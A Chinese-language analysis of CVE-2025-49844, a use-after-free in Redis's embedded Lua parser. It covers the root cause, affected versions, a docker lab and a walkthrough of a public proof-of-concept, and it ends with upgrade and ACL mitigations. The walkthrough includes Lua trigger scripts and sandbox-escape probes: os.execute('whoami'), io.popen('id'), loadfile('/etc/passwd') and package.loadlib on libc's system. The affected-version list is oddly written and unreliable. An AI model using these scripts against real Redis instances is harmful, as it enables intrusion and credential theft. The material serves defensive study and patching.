[TOC]

漏洞介绍

漏洞编号:CVE-2025-49844

Redis 是一个开源的内存数据库,持久化在磁盘上。这是一个潜伏 13 年的、由 Use-After-Free(UAF,即“释放后使用”)引发的严重远程代码执行(RCE)漏洞,CVSS 评分高达 10.0(满分),属于极高危漏洞。漏洞根源在于 Redis 内嵌的 Lua 5.1 解释器deps/lua/src/lparser.c),攻击者可通过发送恶意构造的 Lua 脚本,操控垃圾回收机制,触发释放后使用(UAF)错误,进而逃逸 Lua 沙箱,在 Redis 服务器进程中执行任意代码,甚至完全控制主机系统,从而窃取、擦除或加密敏感数据,劫持资源,并在云环境中进行横向移动。

漏洞原因

漏洞的本质是内存管理错误与沙箱逃逸的结合

漏洞的核心在于Redis的Lua脚本引擎与Redis自身内存管理交互时存在缺陷。当Lua脚本调用redis.call()等函数操作Redis数据时,Lua变量会与底层的Redis内存对象(redisObject)建立关联。Redis和Lua均有独立的垃圾回收(GC)机制,但在复杂脚本执行场景下,时序控制不当可能导致Lua虚拟机仍持有redisObject引用时,Redis的GC错误地提前释放该对象内存。后续脚本若继续通过原引用访问已释放内存,即触发UAF。攻击者通过精心构造的Lua脚本可操控此过程,篡改内存内容。

根源在于Redis Lua解析器的内存管理缺陷:

1
2
3
4
5
6
7
8
9
LexState * luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
// 为脚本名创建TString对象
TString *tname = luaS_new(L, name);
// 关键缺陷:TString未被压栈锚定,不属于GC根对象
luaX_setinput(L, &ls, z, tname);
// 解析过程中若触发垃圾回收,tname可能被提前释放
// 后续词法器仍持有该指针,形成Use-After-Free
return &ls;
}

关键问题:TString对象未被压入Lua栈进行锚定,导致其不具备GC根对象属性。当垃圾回收触发时,该对象可能被提前释放,但后续解析过程仍持有该指针,形成Use-After-Free。

影响范围

• 6.2.20 ≤ Redis < 7.2.11

• 7.2.11 ≤ Redis < 7.4.6

• 7.4.6 ≤ Redis < 8.0.4

• 8.0.4 ≤ Redis < 8.2.2

利用条件

成功利用需同时满足以下条件:

身份验证访问:攻击者需具备Redis实例访问权限(无论通过密码认证或未授权访问)。

Lua脚本功能启用:Redis默认启用EVAL/EVALSHA命令,若未通过ACL禁用即可被利用。

特定内存状态:UAF触发依赖堆内存的特定布局,需通过大量对象创建与销毁塑造

漏洞环境搭建

使用docker搭建Redis 7.2.0版本

1
2
3
git clone https://github.com/raminfp/redis_exploit.git
cd redis_exploit
docker-compose up -d

漏洞复现

POC:

https://github.com/raminfp/redis_exploit/blob/main/exploit_poc.py

使用方式:

python3 exploit_poc.py -h

# Check vulnerability only
python3 exploit_poc.py -H localhost -p 6380 -m check

# Run basic UAF test
python3 exploit_poc.py -H localhost -p 6380 -m basic

# Test sandbox escape
python3 exploit_poc.py -H localhost -p 6380 -m sandbox

# Test advanced memory corruption
python3 exploit_poc.py -H localhost -p 6380 -m advanced

# Run all tests
python3 exploit_poc.py -H localhost -p 6380 -m all

# With authentication
python3 exploit_poc.py -H localhost -p 6380 -a "password" -m all

image-20251208194750025

POC代码深度分析

漏洞检测(check_vulnerability)

1
2
3
4
5
6
vulnerable_versions = [
('7.2', '7.2.11'),
('7.4', '7.4.6'),
('8.0', '8.0.4'),
('8.2', '8.2.2'),
]

通过检查Redis版本来判断是否受影响

基本UAF触发 (exploit_uaf_basic)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
lua_script = """
-- CVE-2025-49844 PoC: Use-After-Free in Lua interpreter

local function trigger_uaf()
-- Create a table with metatable
local t = {}
local mt = {
__gc = function(self)
-- This will be called during garbage collection
redis.log(redis.LOG_WARNING, "UAF trigger point")
end
}
# 创建了具有元方法的对象,为垃圾回收做准备
setmetatable(t, mt)

-- Force garbage collection multiple times
-- This can trigger use-after-free conditions
for i = 1, 10 do
# 模拟了垃圾回收触发点,使漏洞条件更容易触发
collectgarbage("collect")
end

return "UAF pattern executed"
end

return trigger_uaf()
"""
  • 这段代码通过创建带有__gc元方法的表,模拟了漏洞触发条件
  • __gc元方法会在垃圾回收时被调用,这与漏洞的UAF触发机制直接相关
  • 通过collectgarbage("collect")多次强制触发垃圾回收,增加了UAF条件被触发的概率
  • 攻击者利用特制Lua脚本构造内存对象引用矛盾,在 luaY_parser 解析脚本时创建临时TString对象,却未在栈上做好保护,导致该对象被 luaC_step 提前回收释放

沙箱逃逸测试 (exploit_sandbox_escape)

1
2
3
4
5
6
escape_tests = [
("os.execute", "return os.execute('whoami')"),
("io.popen", "return io.popen('id'):read('*a')"),
("loadfile", "return loadfile('/etc/passwd')"),
("package.loadlib", "return package.loadlib('libc.so.6', 'system')"),
]
  • 这些测试尝试突破Lua沙箱限制,执行系统命令
  • 在正常情况下,Redis的Lua沙箱会阻止这些命令的执行
  • 但在CVE-2025-49844漏洞中,UAF漏洞允许攻击者绕过沙箱限制

高级内存损坏 (exploit_memory_corruption)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
lua_script = """
-- Advanced UAF pattern for CVE-2025-49844

# 通过创建大量对象进行"堆喷射"(heap spray),控制内存布局
local function create_spray()
local objects = {}
-- Heap spray to control memory layout
for i = 1, 1000 do
objects[i] = string.rep("A", 1024)
end
return objects
end

# 创建具有元方法的对象,通过垃圾回收触发UAF
local function trigger_corruption()
local spray = create_spray()

-- Create object with finalizer
local victim = {}
local mt = {
__gc = function(self)
-- Use-after-free trigger point
-- In the real exploit, this would manipulate freed memory
redis.log(redis.LOG_WARNING, "Finalizer called - UAF window")
end
}
# 创建具有元方法的对象:为垃圾回收准备条件
setmetatable(victim, mt)

# 触发垃圾回收,使内存被释放
-- Trigger garbage collection
victim = nil
collectgarbage("collect")

-- At this point, in vulnerable versions, we have a UAF condition
-- The real exploit would now execute arbitrary code

return "Memory corruption pattern completed"
end

return trigger_corruption()
"""

POC完整的漏洞利用流程如下:

  1. 权限突破:通过test_connection()check_lua_enabled()验证连接和Lua功能
  2. 脚本注入:通过r.eval(lua_script, 0)发送恶意Lua脚本
  3. 沙箱逃逸:通过exploit_sandbox_escape()测试沙箱逃逸
  4. 代码执行:通过exploit_memory_corruption()模拟高级利用

利用原理

攻击流程包括:连接Redis实例(经认证或未认证)、投递恶意Lua脚本触发UAF、篡改内存关键数据(如函数指针)、逃逸沙箱执行原生代码。

完整的攻击链包含五个阶段:

初始访问:攻击者连接到目标Redis实例(默认端口6379),通过弱密码或未授权访问完成认证。

恶意脚本投递:通过EVAL命令提交特制Lua脚本,脚本逻辑设计用于频繁创建和丢弃Redis对象引用(如循环调用redis.call("SET", key, value)),并强制触发垃圾回收(collectgarbage("collect"))。

UAF触发与内存操控:脚本执行过程中触发UAF,获得内存读写能力,篡改Lua虚拟机内的函数指针或字节码解释器。

沙箱逃逸:突破Lua限制后加载恶意负载,例如通过伪造的FFI(Foreign Function Interface)调用系统命令。

持久化与横向移动:获取反向Shell,窃取凭证(如SSH密钥、IAM令牌),安装后门或进行横向渗透

RediShell:从PoC到补丁——当 Redis 的 Lua 沙箱被攻破(CVE-2025-49844)

修复意见

1、升级Redis至已修复的安全版本

2、开源版/社区版:8.2.2、8.0.4、7.4.6或7.2.11及以上版本

临时解决:

1、建议通过设置访问控制列表 (ACL) 来限制 EVAL 和 EVALSHA 命令,从而阻止用户执行 Lua 脚本。此外,务必确保只有受信任的身份才能运行
Lua 脚本或任何其他潜在风险命令。

2、不要将其 Redis 实例暴露在互联网上,并使用强身份验证来保护